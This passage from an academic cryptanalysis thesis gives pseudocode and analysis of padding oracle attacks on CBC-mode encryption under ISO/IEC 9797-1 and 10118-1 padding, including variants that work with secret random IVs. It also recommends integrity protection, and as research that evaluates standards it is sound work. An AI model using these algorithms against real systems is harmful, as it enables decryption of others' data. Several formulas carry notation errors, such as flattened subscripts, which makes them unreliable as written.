Given a \( q \)-block ciphertext, we want to flip the plaintext bit \( P_{q,n-r-2} \), the rightmost position which a data bit could possibly occupy, given \( q \) and our assumption on \( r \). We submit to the padding oracle the ciphertext

\[
IV || C_1 || C_2 || \ldots || C_{q-1} \oplus 0 \ldots 0 \ (L_D)_2 \ | 0 \ldots 0 || C_q.
\]

(Recall that \( C_0 = IV \), so the case where \( q = 1 \) is included here.)

Upon submission of the above ciphertext, the oracle will return:

- **VALID** meaning the padding has not been disturbed so the bit flipped is a data bit.

Since this bit is at the rightmost possible data bit position, we can deduce the data
length $L_D = (q - 1)n + n - r - 1$. Or else,

- **INVALID** meaning a padding bit has been flipped so the padding is no longer valid. Therefore the padding boundary is somewhere to the left of this bit, so we continue by resetting this bit and flipping the bit immediately to the left, and testing the resulting ciphertext for padding correctness. We repeat this, flipping bits further and further to the left (and into the previous block if neccesssary) until the first time the oracle returns **VALID**. This indicates that the tested bit is the last data bit, and $L_D$ is determined accordingly.

One might worry about instances when new-block padding arises, where flipping bits in the last plaintext block (by flipping bits in the last-but-one ciphertext block) would turn the last-but-one plaintext block into “garbage” and along with it, potentially, any padding bits within it, so the oracle might report **INVALID** for the wrong bits. On closer inspection, however, this turns out not to be an issue because all we want to know is whether the padding boundary is to the left or right of the bit in question. Even if the oracle does report **INVALID** for the wrong bits, it does still imply the boundary is to the left, and **VALID** would just mean that the corrupted bits are part of the data, so the boundary is still to the right.

A binary search can also be applied here: for any single flipped bit, a **VALID** response means the start of the padding is to the right of this bit, whereas **INVALID** means it is to the left. This speed-up is made in Algorithm 7.

If we find that the data ends on a block boundary, i.e. $L_D \mod n = 0$, we cannot proceed with the next phase of this attack as it involves manipulation of $L_D$ and padding bits by modifying $C_{q-1}$, which would completely randomise the target plaintext block. In this case we have to resort to Attack 1 above to recover the target plaintext block (which may once again lead us back to the first phase of Attack 2).

We are now ready for the decryption stage. Same-block and new-block padded messages are treated differently; recall that knowledge of $L_D$ indicates which case the attacker is faced with.

**Decrypting: Same-block.** Recall the structure of the last plaintext block: $t$ data bits, followed by $p$ padding bits in the form $10 \ldots 0$ and finally $r$ bits of an encoding of data length $L_D$. We can recover the remaining $t$ bits of the plaintext in the last block, again using a similar method to decryption phase of the attack on ISO/IEC 9797-1 method 3. We submit to the oracle $IV'||C'_1$ where $C'_1 = C_q$ and

$$IV' = C_{q-1} \oplus 0 \ldots 0 (L_D)_{2-r} \oplus 0 \ldots 0 10 \ldots 0 (t - 1)_{2-r}.$$ 

After decryption the length block in the plaintext block $P'_1$ should have the value $t - 1$ which points to the last-but-one bit of the original data segment, with the middle padding segment all set to ‘0’. A **VALID** response means the last $(t^{th})$ data bit in $P'_1$ is a ‘1’, and
3.3 Attacking the Padding Methods of ISO/IEC 10118-1

Algorithm 7 Recovering \( L_D \) from an ISO/IEC 10118-1 padded ciphertext

**Input:** \( IV||C_1||C_2|| \ldots ||C_q, n, r \)

**Output:** \( L_D \)

**function** 10118-1-m3-a2-get-\( L_D \)

\[ C := IV||C_1||C_2|| \ldots ||C_q \]

\[ l := (q - 2)n + n - r \]

\[ u := (q - 1)n + n - r - 1 \]

repeat

\[ h := \lfloor (l + u)/2 \rfloor \]

\[ C_{\lfloor h/n \rfloor, h \mod n} := C_{\lfloor h/n \rfloor, h \mod n} \oplus 1 \]

if oracle(\( C \)) = VALID then

\[ l := h + 1 \]

else

\[ u := h \]

end if

\[ C_{\lfloor h/n \rfloor, h \mod n} := C_{\lfloor h/n \rfloor, h \mod n} \oplus 1 \]

until \( l = u \)

return \( L_D := l \)

end function

‘0’ otherwise.

By decrementing the length field sub-block in \( P'_1 \) one by one whilst keeping all recovered bit positions to ‘0’, a single bit is revealed at each iteration until the whole block is recovered. We can now compute the intermediate block \( I'_1 \) by XORing the final \( IV \) with \( P'_1 \). Then by XORing \( I'_1 \) with \( C_{q-1} \), we recover the original last plaintext block \( P_{q-1} \).

This decryption procedure is presented in Algorithm 8.

**Decrypting: New-block.** For new-block padded plaintexts, \( P_q \) is determined completely by \( L_D \) and the padding. However, the padding generally extends into the penultimate plaintext block \( P_{q-1} \) (as explained, we cannot proceed if it does not). Suppose \( u \) bits of padding are present in \( P_{q-1} \). Then we show how to decrypt \( C_{q-1} \) using Attack 1 above, but with a speed-up factor of \( 2^{u-1} \).

Let \( v = L_D \mod n \), then the number of known plaintext bits \( u \) is equal to \( n - v \) and those bits are of the form \( 10 \ldots 0 \). If we submit the ciphertext \( IV'||C'_1 \) to the oracle where

\[ IV' = C_{q-2} \oplus 0 \ldots 0 10 \ldots 0 \oplus 0 \ldots 0 (n - r - 1)_2 \]

and \( C'_1 = C_{q-1} \), then we only need to go through all \( 2^{r-u+1} \) settings of the \( r - u + 1 \) bits to the left of the \( u \) known bits (by changing \( IV' \)) to guarantee a valid plaintext. This strategy takes on average \( 2^{r-u} \) oracle queries which is a fraction \( 2^{-(u-1)} \) of the original \( 2^{r-1} \) number of oracle queries for Attack 1 without the knowledge of the \( u \) padding bits.

**Complexity.** It takes \( \log_2 n \) oracle queries to find \( L_D \). For same-block padded plaintexts,
3.4 Recommendations

**Algorithm 8 Decrypting an ISO/IEC 10118-1 same-block padded ciphertext**

**Input:** \( L_D, IV, C_{q-1}, C_q, r, n \)

**Output:** \( P_q := P_{q,0} P_{q,1} \cdots P_{k,t-1} 10^{p \cdots 0} (L_D)_2 \)

**Require:** \( L_D \) indicates that the plaintext is same-block padded

**function** 10118-1-m3-decrypt-same-block

\[
C_1' := C_q \\
t := L_D \mod n \\
\text{for } j := t - 1 \text{ to } 0 \text{ do} \\
IV' := C_{q-1} \oplus 0 \cdots 0 (L_D)_2 \oplus 0 \cdots 0 10 \cdots 0 (j)_2 \\
C' := IV' || C_1' \\
b := \Omega(C') \oplus 1 \\
P_{q,j} := b \oplus IV'_j \oplus C_{q-1,j} \\
IV'_j := IV'_j \oplus b \\
\text{end for} \\
\text{return } P_q := P_{q,0} P_{q,2} \cdots P_{k,t} 10^{p \cdots 0} (L_D)_2 \]

end function

it takes one query per plaintext bit for decrypting. So to recover the \( t \) data bits of the last block, \( t + \log_2 n \) oracle queries are required.

For new-block padded plaintexts, on average \( 2^{r - u} \) oracle queries are needed to recover the whole of the penultimate plaintext block \( P_{q-1} \), where \( u \) is the number of known bits from finding \( L_D \).

**Impact.** The attack is highly efficient at extracting plaintext bits from the last plaintext block \( P_q \) in terms of number of oracle queries. A maximum of \( n - r - 1 \) bits of data can be recovered in this way and the attack is therefore significant for short messages, especially in combination with a small \( r \). One might argue that \( r = n \) is a natural choice in implementations. In this case, the padding is always new-block and the attacker must resort to the speeded-up version of Attack 1.

**3.4 Recommendations**

In view of our attacks above, we recommend that a CBC mode standard should prescribe the use of a padding method that resists padding oracle attacks. Padding method 2 of ISO/IEC 9797-1 (and 10118-1), analysed in [53], appears to be a good choice for that role.

We agree with the argument in Section 7 of [53] for the practice of the encryption being accompanied by strong integrity checks when possible and appropriate. Protecting the integrity of ciphertexts prevents any practical attempts at modifying a ciphertext or constructing a valid one. This in turn precludes the existence of a padding oracle, and hence all the associated attacks that we have discovered.
We argue that, at least for the CBC mode of operation for a block cipher, it is not good enough just to standardise the mode; an entire specification handling bit-level computations is needed, which necessarily includes padding issues. Padding methods devised for hashing or MACs, as we have shown, may not be suited to encryption operations where a different adversarial model may be applicable.

We also make the point that there is a need for careful consideration of the potential for side-channel cryptanalysis for cryptographic primitives and security protocols in their design phase. Designs should be fully specified so as to allow as little room as possible for the implementor to take potentially weak approaches during implementation.

3.5 Chapter Summary

In this chapter we demonstrated the power of padding oracle attacks on CBC mode encryption as specified by an ISO standard draft [99]. Against the two vulnerable padding methods, our attacks can lead to complete plaintext recovery with little to moderate effort, regardless of the security of the underlying block cipher and key size. Our attacks highlight the importance of the complete specification of a cryptographic standard, consideration for side channel cryptanalysis, and use of integrity protection alongside encryption.

In the next chapter, we shall examine a later draft of the ISO standard for CBC mode encryption, and evaluate how the changes made during its development affect its security properties.
Chapter 4

Further Attacks on Proposed ISO/IEC 10116

4.1 Introduction

In the previous chapter, we demonstrated that two (of four distinct) CBC mode padding methods referenced in an early draft of ISO/IEC 10116 (3rd edition) are vulnerable to padding oracle attacks. In this chapter we shall examine changes made to the CBC mode encryption specification in a later draft of the standard, and investigate the extent to which those changes improve the security of CBC mode encryption.

4.2 Overview

Partly as a consequence of our attacks published in [162], a later Final Committee Draft of the revised ISO standard [100] omits all mention of padding methods. Additionally, it recommends that “integrity-protected secret” and “randomly chosen statistically unique” IVs be used. The motivation for using secret IVs given in [100] is “to prevent information leakage”. The recommendation for random IVs is in-line with the formal security analysis of [42] by Bellare et al. which shows that under their adversarial model, encryption in CBC mode is provably secure (for a precisely defined notion of security) provided that the underlying block cipher is strong and that the IV is random. We also note that [100] allows the use of multiple IVs\(^1\) and interleaving of multiple cipher block chains; this allows for parallelism in encryption.\(^2\) We expect that in most applications, a single IV will be used, and this is the situation we focus on here.

The attack model in Chapter 3 assumes that the IV can be chosen by the attacker and is submitted to the padding oracle along with the ciphertext. To be successful, most of the attacks in Chapter 3 do in fact require the attacker to have knowledge of the IV and the ability to manipulate it. For this reason, the attacks in Chapter 3 would not apply to the CBC mode of operation as defined in [100] if the padding methods of [29] and [30] were used, and if the new recommendations to use secret, random IVs were followed. More specifically, the only attack in Chapter 3 that remains practicable is Attack 2 against padding method 3 of [30]. This attack on its own arguably has a small impact on the confidentiality of data because it works only against the last one or two blocks of a target ciphertext and recovers relatively few useful data bits.

\(^1\)Called starting variables, or SVs in [100]

\(^2\)On the other hand, decryption of blocks can always be performed in parallel.
4.2 Overview

Despite their omission from the draft ISO standard [100], padding methods are needed in order to fully specify the CBC mode of operation. It is not unreasonable to assume that, in the absence of any other guidance, an implementor of CBC mode according to [100] might borrow techniques from other ISO standards, as was indeed proposed in [99].

In this chapter, we demonstrate that padding oracle attacks can still be effective against CBC mode encryption even when IVs are secret and random. In particular, we show that several padding methods from [29, 30] are still weak even in this situation.

4.2.1 Attack Models

Before giving details of our attacks, we clarify the attack models under which these attacks will take place.

When IVs are secret and random, a variety of practical methods could be used to ensure the IVs are available to both encrypting and decrypting parties. For example:

1. The IV could be encrypted using ECB mode and prefixed to the ciphertext.
2. A bit-string $S$ could be prefixed to the ciphertext and the IV generated by encrypting $S$ using ECB mode.
3. A pre-agreed list of IVs could be used and an index sent with ciphertexts to indicate which entry in the list was used as the IV.

There are conceivably other similar schemes to convey the IV. Because these approaches include information determining IVs along with ciphertexts, they allow the adversary to influence which IV is used by the padding oracle when decrypting, without the adversary necessarily knowing the actual value of the IV. In particular, they allow the adversary to force the oracle to re-use an old IV. We can model this kind of attack by assuming that, when submitting a ciphertext to the padding oracle, the attacker specifies an additional string $V$ which in some way determines the IV used by the padding oracle. The contents of $V$ will depend on the particular method used for establishing IVs: for example, in the case of encrypted IVs, $V$ will simply be the encrypted IV, while in the case of a pre-established list, $V$ would be an index in the list.

We expect that the above kind of approach for establishing secret, random IVs is most likely to be used in practice. But it is also conceivable that a second approach, in which no information at all about the IV is transmitted as part of ciphertexts, might be used. For example, the communicating parties may be able to maintain a synchronised counter and then obtain IVs by applying a keyed pseudo-random function to the counter. We also want to model attacks in this scenario, which presents a tougher attack environment to the adversary. We can do this by assuming that the padding oracle simply selects a fresh, random IV before every decryption and that no IV-related information is included in ciphertexts.

Thus in this chapter, we shall consider two slightly different attack models. In the first model, IVs are secret and random but are determined by additional information $V$
available to the attacker and submitted to the oracle. In the second model, IVs are secret
and random and the attacker has no control over the IV used by the padding oracle.
Obviously, attacks in the second model are more powerful, but attacks in the first model
already capture many likely practical situations.

4.3 Analysis of Padding Method 3 of ISO/IEC 9797-1

4.3.1 Review of Padding Method and Previous Attack

We reproduce the original text of the padding method from [29]:

“The data string $D$ to be input to the [...] algorithm shall be right-padded
with as few (possibly none) ‘0’ bits as necessary to obtain a data string whose
length (in bits) is a positive integer multiple of $n$. The resulting string shall
then be left-padded with a block $L$. The block $L$ consists of the binary repre-
sentation of the length (in bits) $L_D$ of the unpadded data string $D$, left-padded
with as few (possibly none) ‘0’ bits as necessary to obtain an $n$-bit block. The
right-most bit of the block $L$ corresponds to the least significant bit of the
binary representation of $L_D$.”

The attack in Section 3.2.4 decrypts arbitrary ciphertexts $C_1 || C_2 || \ldots || C_q$ that are
padded using the above method. The two-phased attack recovers plaintext block by block
by making repeated use of a padding oracle.

The general case of the first phase applies to ciphertexts consisting of three or more
blocks and was presented in Algorithm 1 of Section 3.2.4 as function 9797-1-m3-get-
$L_D$-general. The algorithm, when given a $q$-block valid ciphertext as input, finds $L_D$
by manipulating the padding bits. The procedure requires the re-use of old IVs. Since
we shall use it in our new attack, we reproduce this algorithm here as Algorithm 9, with
notation modified to reflect the use of additional information $V$ to determine IVs. In
the algorithm, $V$ denotes the IV-determining information that accompanies the target
ciphertext.

The special case of the first phase applies to two-block ciphertexts and was presented
as Algorithm 2. This algorithm does require the ability to directly manipulate bits in the
IV and so does not apply in either of our attack models.

In Section 3.2.4, the actual decryption of the attack on Method 3 of ISO/IEC 9797-1 is
performed in the second phase. Algorithm 3 returns the rightmost $n-1$ bits of a plaintext
block. In doing so, however, the algorithm makes repeated updates to the IV, and is
therefore unusable in our attack models. Algorithm 4 in Chapter 3 returns the leftmost
bit of a plaintext block. It is also unusable, since it requires a customised setting of the
IV and a successful run of Algorithm 3.
4.3 Analysis of Padding Method 3 of ISO/IEC 9797-1

4.3.2 An Attack with Secret and Random IVs

We require some further mild assumptions in order to obtain an attack against padding method 3 of [29] with secret and random IVs. The attack is in our first attack model. We assume that, in addition to having a target ciphertext \( C \) which he wishes to decrypt, the attacker has also gathered a set of \( m \) auxiliary ciphertexts labelled \( C_1, C_2, \ldots, C_m \), and associated IV-determining information \( V^1, V^2, \ldots, V^m \). We write \( q_j \) for the number of blocks in ciphertext \( C^j \) and require that \( q_j \geq 3 \) for each \( j \). The attacker can immediately use Algorithm 9 and the padding oracle to find the length \( L_j \) of each ciphertext \( C^j \). We write \( F_j = L_j \mod n \). We require that the \( F_j \) be distinct and that no \( F_j \) is equal to zero.

Without loss of generality, we can then write \( 1 \leq F_1 < F_2 < \ldots < F_m \leq n - 1 \). We also set \( F_{m+1} = n \).

Notice that auxiliary ciphertexts with the required properties can easily be selected from a larger pool of ciphertexts. The auxiliary ciphertexts are not themselves decrypted in the course of the attack, although they can individually be used as target ciphertexts if their decryption is desired.

Algorithm 9 Extracting \( L_D \) from an auxiliary ciphertext

\begin{verbatim}
function 9797-1-m3-get-LD-general
    l := 0
    u := n - 1
    repeat
        h := \lfloor (l + u)/2 \rfloor
        C_{q-1,h} := C_{q-1,h} \oplus 1
        if oracle(V, C_1||C_2||\ldots||C_q) = VALID then
            l := h
        else
            u := h - 1
        end if
        C_{q-1,h} := C_{q-1,h} \oplus 1
    until l = u
    return L_D := (q - 2)n + l + 1
end function
\end{verbatim}

Our attack is presented in Algorithm 10 and described verbally below.

The attack attempts to recover the plaintext block \( P_k \) matching block \( C_k \) of the \( q \)-block ciphertext \( C \). In fact, we are only able to extract the rightmost \( n - F_1 \) bits of \( P_k \) for each \( k \geq 2 \). The attack attempts to construct, for decreasing values of \( j \), a valid \( q_j \)-block ciphertext whose last block is the target block \( C_k \) and whose first block is \( C_j \). Because of the padding rule, such a ciphertext must correspond to a plaintext in which the last block \( P'_q \) consists entirely of ‘0’s in the rightmost \( n - F_j \) positions. By carefully controlling the values in the penultimate ciphertext block, we can ensure that only a relatively small number of trials is needed in order to achieve this for each successive value of \( j \). Eventually,
when \( j = 1 \), we have a ciphertext with last block \( C_k \) where the matching plaintext block \( P'_{q_1} \) has ‘0’ s in the rightmost \( n - F_1 \) positions. From this information and \( C_{k-1} \) it is easy to recover the rightmost \( n - F_1 \) positions of the original plaintext block \( P_k \).

Algorithm 10 Extracting \( n - F_1 \) bits from an ISO/IEC 9797-1 padded ciphertext block using auxiliary ciphertexts

```
Input: auxiliary ciphertexts \( C^1, C^2, \ldots, C^m \), IV-determining information \( V^1, V^2, \ldots, V^m \), length information \( q_1, \ldots, q_m \) and \( F_1, \ldots, F_m \), target ciphertext blocks \( C_{k-1}, C_k \)

Output: rightmost \( n - F_1 \) bits of \( P_k \)

function 9797-1-m3-decrypt

\[
R := 00 \ldots 0
\]
\[
F_{m+1} := n
\]

for \( j := m \) to 1 do

\[
i := -1
\]

repeat

\[
i := i + 1
\]

\[
S := R \oplus 00 \ldots 0 \quad (i)_2 \quad 00 \ldots 0
\]

\[
F_j \quad F_{j+1} - F_j \quad n - F_{j+1}
\]

until \( \text{ORACLE}(V^j, C^j || 00 \ldots 0 || \ldots || 00 \ldots 0 || S || C_k) = \text{VALID} \)

\[
R := R \oplus 00 \ldots 0 \quad (i)_2 \quad 00 \ldots 0
\]

\[
F_j \quad F_{j+1} - F_j \quad n - F_{j+1}
\]

end for

return rightmost \( n - F_1 \) bits of \( R \oplus C_{k-1} \)

end function
```

We now explain in more detail the operation of the attack. We begin by considering the rightmost \( n - F_m \) positions. Consider submitting to the padding oracle a ciphertext of the form:

\[
V^m, C^m || 00 \ldots 0 || \ldots || 00 \ldots 0 \quad || S || C_k
\]

where \( S \) is a block taking on a random value in the rightmost \( n - F_m \) positions. Because \( V^m \) determines the original IV used in obtaining \( C^m \), block \( C^m_1 \) indicates that \( n - F_m \) ‘0’ padding bits should be found in the last plaintext block, and hence the oracle will return \( \text{VALID} \) with a probability of \( 2^{F_m - n} \). An \( \text{INVALID} \) response indicates that another value of \( S \) should be tested. In the algorithm we simply use an increasing \( (n - F_m) \)-bit counter for this purpose. After an average of around \( 2^{n-F_m-1} \) and at most \( 2^{n-F_m} \) trials, we shall obtain a \( \text{VALID} \) response. In this case, we learn that \( S \oplus d_K(C_k) \) is equal to ‘0’ in the rightmost \( n - F_m \) positions.

Notice that from this information and knowledge of \( C_{k-1} \), we could immediately recover the rightmost \( n - F_m \) bits of \( P_k \). However, we now preserve the successful value of \( S \) by setting \( R = S \), and proceed to examine the rightmost \( n - F_{m-1} \) bits. Now consider
submitting to the padding oracle a ciphertext of the form:

\[ V^{m-1}, C_1^{m-1} || 00 \ldots 0 || 00 \ldots 0 || S || C_k \]

where now \( S \) is a block taking on a random \((F_m - F_m - 1)\)-bit value in positions \( F_m - 1, F_m - 1 + 1, \ldots, F_m - 1 \), and equalling the placeholder block \( R \) in the rightmost \( n - F_m \) positions. Now block \( C_1^{m-1} \) indicates that \( n - F_m \) ‘0’ padding bits should be found in the last plaintext block. By using \( R \) to set the rightmost \( n - F_m \) bits of \( S \), we have already arranged ‘0’ bits in the rightmost \( n - F_m \) positions of the last plaintext block. So the oracle returns a VALID response with probability \( 2^{-(F_m - F_m - 1)} \). Again, we use a counter to test the \( 2^{F_m - F_m - 1} \) values in positions \( F_m - 1, F_m - 1 + 1, \ldots, F_m - 1 \). After an average of \( 2^{F_m - F_m - 1} \) and at most \( 2^{F_m - F_m - 1} \) trials, we shall obtain a VALID response. In this case, we learn that \( S \oplus d_K(C_k) \) is equal to ‘0’ in the rightmost \( n - F_m - 1 \) positions.

It is now straightforward to see how Algorithm 10 proceeds in this manner to eventually construct a valid ciphertext of the form:

\[ V^1, C_1^1 || 00 \ldots 0 || 00 \ldots 0 || R || C_k \]

so that the corresponding last plaintext block contains ‘0’ padding bits in the rightmost \( n - F_1 \) positions. Then a simple calculation shows that the rightmost \( n - F_1 \) bits of \( P_k \) are equal to the rightmost \( n - F_1 \) bits of the block \( R \oplus C_{k-1} \).

### 4.3.3 Complexity and Impact

As before, it takes \( O(\log_2 n) \) oracle queries to obtain the length of each auxiliary ciphertext using a binary search, and many such runs will be needed. This cost, on the other hand, is amortised over many runs of this attack. Since the complexity of the attack depends on the lengths of the auxiliary ciphertexts, it is advisable for the attacker to persist in obtaining their lengths until a good spread is gathered, especially in anticipation of a large number of decryptions. We do not include a formal analysis here, but intuitively we would like to use as many as possible (up to \( n - 1 \)) auxiliary ciphertexts whose lengths modulo \( n \) are distinct but close to each other.

It takes an average of just over \( 2^{E_{j+1} - E_j} - 1 \) oracle queries to obtain a VALID response and recover the bits at positions \( F_j \) to \( F_{j+1} - 1 \) of \( P_k \). The average number of oracle queries needed to recover \( n - F_1 \) bits of plaintext is therefore \( \sum_{j=1}^{m} 2^{E_{j+1} - E_j} - 1 \). The worst-case complexity is twice this. Notice that when \( F_1 = 1 \), \( F_m = n - 1 \), and \( F_{j+1} - F_j = 1 \) for each \( j \), the average number of oracle queries needed to decrypt all but the leftmost bit of an \( n \)-bit block is just \( n - 1 \). In this case, at most two oracle queries are made for each \( j \). In fact, since the outcome of the second oracle query is determined by the first, it is trivial to modify the attack so that \( n - 1 \) queries also represents the worst-case performance.

As an example, suppose the block size \( n = 64 \) and the data is byte-oriented. Suppose
we can obtain 7 auxiliary ciphertexts whose lengths modulo 64 are 8, 16, 24, \ldots, 56. Then we have \( m = 7 \) and the average number of oracle queries needed to obtain 56 out of 64 plaintext bits is roughly 900. If the plaintext contains some level of predictability, e.g. ASCII characters making up an English text, or certain positions in a message within some known protocol, then the remaining byte might be easily guessed.

### 4.3.4 Limitations

Unfortunately, we have not succeeded in finding a method to extract the leftmost \( F_1 \geq 1 \) bits of the plaintext block \( P_k \). The underlying reason is that, when the original data fits exactly within blocks, the default padding rule is to add no padding bits at all. This makes it difficult to set up a padding oracle test giving plaintext information.

Algorithm 9 can only find the contents of the length block for ciphertexts with at least 3 blocks. Whilst we are usually more interested in plaintext bits than length information, it would be convenient if Algorithm 10 could be applied to block \( C_1 \) of a two-block target ciphertext to extract the length information \( L_D \). However, this would require knowledge of the IV (since block \( C_{k-1} \) is used at the last stage of our attack to recover the original plaintext bits). A lower bound on this length can be found by running Algorithm 10 on target block \( C_2 \) and finding the position of the rightmost one in \( P_2 \).

### 4.3.5 Comparison

The secret and random conditions on IVs have forced us to develop a completely new attack strategy against padding method 3 of ISO/IEC 9797-1 [29]. The corresponding attack in Section 3.2.4 makes near-optimal use of the padding oracle and extracts all plaintext bits. To compare, our attack in this chapter requires the collection of auxiliary ciphertexts, and for the attack to be efficient, these need to have a good spread of data lengths (modulo the block size). There might be scenarios where this is unrealistic. Our new attack can never extract the leftmost data bits in each block. In the best case, it can recover all but the leftmost bit of plaintext using an optimal number of oracle queries (if we discount the cost of finding the lengths of the auxiliary ciphertexts). Our attack cannot be extended to yield efficient attacks in the second attack scenario in which the adversary has no information about IVs at all. The reason is that the length information is placed in the first plaintext block — as a result, a random setting of the IV is almost certain to produce an INVALID response from the padding oracle.

In summary, in comparison to the attack in Section 3.2.4, the secret IV restriction has succeeded in increasing the complexity and decreasing the effectiveness of our attack. However, the attack is still feasible in many circumstances.
4.4 Analysis of Padding Method 3 of ISO/IEC 10118-1

4.4.1 Review of Padding Method and Previous Attacks

We reproduce below the original description of the padding method from [30], except that here, and throughout, we use $n$ in place of $L_1$ to denote the block size:

“This padding method requires the selection of a parameter $r$ (where $r \leq n$), e.g. $r = 64$, and a method of encoding the bit length of the data $D$, i.e. $L_D$ as a bit string of length $r$. The choice for $r$ will limit the length of $D$, in that $L_D < 2^r$.

“The data $D$ [. . . ] is padded using the following procedure.

1. $D$ is concatenated with a single ‘1’ bit.

2. The result of the previous step is concatenated with between zero and $n - 1$ ‘0’ bits, such that the length of the resultant string is congruent to $n - r$ modulo $n$. The result will be a bit string whose length will be $r$ bits short of an integer multiple of $n$ bits (in the case $r = n$, the result will be a bit string whose length is an exact multiple of $n$ bits).

3. Append an $r$-bit encoding of $L_D$ using the selected encoding method, yielding the padded version of $D$.”

As previously, we assume here that binary encoding is used for $L_D$ for illustrative purposes. Our attacks here work no matter which encoding method is used, as long as this method is known to the attacker. As before, the padding bits for data string $D$ are appended in either the same-block or new-block manner as defined in Section 3.3.2.

In Chapter 3, we presented two inter-dependent attacks against this padding method. The first attack creates a valid ciphertext with the target ciphertext block as the last block, while the second attack decrypts the last block of any ciphertext. We provide a brief review below.

Attack 1 in Section 3.3.2 (named “directed IV search”) takes a ciphertext block $C_k$ as input, and outputs a valid ciphertext of the form $IV’||C_k$. It operates by searching for an IV setting that produces a valid ciphertext. This ciphertext is then fed into Attack 2 for decryption. The need to vary the IV in a controlled manner means that the attack does not work when IVs are secret.

Attack 2 of Chapter 3 (named “attacking the last block(s)”) takes as input a whole ciphertext and operates in two phases. In the first phase, it finds $L_D$; in some cases (including those resulting from Attack 1 in Section 3.3.2) this involves changing bits in the IV. So this phase does not work in general for secret IVs. In the second phase plaintext bits are extracted. In the case of a same-block padded ciphertext, this second phase does not require any control over the IV. It will therefore continue to function, needing only minor modifications in the new setting. In the case of a new-block padded ciphertext, the second phase can be used to speed up Attack 1 in Section 3.3.2. This will fail with secret IVs, since Attack 1 in Section 3.3.2 requires their controlled modification.
Despite the failure of Attacks 1 and 2 in Section 3.3.2 under the secret IV setting, a similar strategy can be followed and the original attacks can be modified to work even in the tougher of our two attack scenarios. Analogues of Attacks 1 and 2 of Section 3.3.2 are presented in Sections 4.4.2 and 4.4.3 respectively.

4.4.2 Attacking an Arbitrary Ciphertext Block

The attack we present in this section attempts to decrypt an arbitrary block $C_k$ of a ciphertext $C_1||C_2||\ldots||C_q$. Our attacks work for any $k \geq 2$. It proceeds in two phases. In the first phase, a valid ciphertext is constructed having $C_k$ as the final block. In the second phase, we decrypt that final block. From this, $P_k$ is easily found. Note that if $C_q$ is the target block, then one should skip the first phase and proceed directly to the second phase, as the preconditions for the second phase are already met.

4.4.2.1 Phase 1: Constructing a Valid Ciphertext

In this phase, depending on the value of $r$, we construct a valid three-block or four-block ciphertext having target block $C_k$ as the last block. While it may at first appear that a two-block or three-block ciphertext would be sufficient, we aim for ciphertexts of three or four blocks because they simplify the second phase of the attack; we shall see in Section 4.4.3 that ciphertexts containing $q \geq 3$ blocks are the easiest ones to deal with. This phase splits into two cases, dependent on the value of $r$.

In the first case, we have $r < n$. The algorithm for this case is given in Algorithm 11 and is next described in words. The algorithm essentially submits three-block ciphertexts of the form:

$$00\ldots0||R_2||C_k$$

to the padding oracle, for various values of $R_2$ chosen in such a way that at least one choice is guaranteed to produce a valid ciphertext. Our algorithm works no matter what IVs are used by the padding oracle. Note that we suppress any information $V$ in submissions to the padding oracle here, and throughout this section, because we are operating in the second attack model. Recall that in this model, a fresh random IV is used for decrypting in each padding oracle query.

In more detail, a counter $i$ is used to determine the rightmost $r + 1$ bits of $R_2$, while the leftmost $n - r - 1$ bits are set to ‘0’. This effectively means that ciphertexts with all possible values of the length field in plaintext block $P_3'$ are submitted to the oracle as $i$ runs between 0 and $2^r - 1$, the first half of the search space. At least one choice of $i$ in this range is guaranteed to result in a VALID response from the oracle unless $C_k$ and the selection of $R_2$ mean that the leftmost $n - r$ bits of $P_3'$ are all ‘0’. If this last case occurs, then considering all $i$ between $2^r$ and $2^{r+1} - 1$ ensures that one of the leftmost $n - r$ bits of $P_3'$ is a ‘1’ and that at least one choice of $i$ results in a VALID response. We evaluate the average and worst-case complexities of phase 1 in Section 4.4.2.3.
4.4 Analysis of Padding Method 3 of ISO/IEC 10118-1

Algorithm 11 Constructing a valid three-block, ISO/IEC 10118-1 padded ciphertext

Input: $C_k, r, n$
Output: A valid three-block ciphertext, the last block of which is $C_k$

Require: $1 \leq r < n$

function 10118-1-m3-general($C_k, r, n$)

\[
R_1 := 00 \ldots 0^n \\
R_2 := 00 \ldots 0^n \\
i := 0 \\
\text{while } \text{ORACLE}(R_1 || R_2 || C_k) = \text{INVALID} \text{ do} \\
i := i + 1 \\
R_2 := 00 \ldots 0^{n-r-1} (i)_{r+1} \\
\text{end while} \\
\text{return } R_1 || R_2 || C_k
\]

end function

In the second case, where $r = n$, a similar attack applies. We now submit four-block ciphertexts of the form:

\[
00 \ldots 0^n ||| R_1 ||| R_2 ||| C_k
\]

to the padding oracle, where we try all possible settings of $R_2$ and the rightmost bit of $R_1$. We are then guaranteed to encounter a valid ciphertext after a maximum of $2^{n+1}$ oracle queries. The algorithm for this case is given in Algorithm 12; we analyse its complexity in detail in Section 4.4.2.3.

4.4.2.2 Phase 2: Decrypting $C_k$

Once we have a valid three-block or four-block ciphertext, the attack of Section 4.4.3 to follow can be applied to obtain the plaintext block $P_k'$ (or $P_4'$ in the four-block case) corresponding to the final block of $C'$. From $P_3'$, the original plaintext block $P_k$ can be recovered using the relation $P_k = P_3' \oplus R_2 \oplus C_k-1$. In the four-block case, $P_k$ is similarly extracted using $P_k = P_4' \oplus R_3 \oplus C_k-1$. As we shall see below, the attack of Section 4.4.3 is always efficient when attacking the last block of a three-block or four-block ciphertext obtained by Algorithm 11 or 12. This approach thus allows efficient extraction of $P_k$.

A little more detail is appropriate at this stage. We focus on the three-block case. The first phase of the attack in Section 4.4.3 finds the length $L_D$ of the data encrypted in $C'$. If $L_D > 2n$, then the data is same-block padded, while if $L_D \leq 2n$ it is new-block padded. If it so happens that the data is new-block padded, then all the bits in $P_3'$ (or $P_4'$ in the four-block case) are already determined, and are of the form:

\[
00 \ldots 0^{(L_D)_n} \text{ or } 10 \ldots 0^{(L_D)_n}.
\]
4.4 Analysis of Padding Method 3 of ISO/IEC 10118-1

Algorithm 12 Constructing a valid four-block, ISO/IEC 10118-1 padded ciphertext

Input: $C_k, r, n$
Output: A valid four-block ciphertext, the last block of which is $C_k$

Require: $r = n$

function 10118-1-m3-special($C_k, r, n$)

$R_1 := \underbrace{00 \ldots 0}_n$
$R_2 := \underbrace{00 \ldots 0}_n$
$i := 0$

while ORACLE$(\underbrace{00 \ldots 0}_n || R_1 || R_2 || C_k) = \text{INVALID}$ do

$i := i + 1$
if $i = 2^r$ then

$i := 0$
$R_1 := \underbrace{00 \ldots 01}_n$
end if

$R_2 := \underbrace{(i)}_n$

end while

return $\underbrace{00 \ldots 0}_n || R_1 || R_2 || C_k$

end function

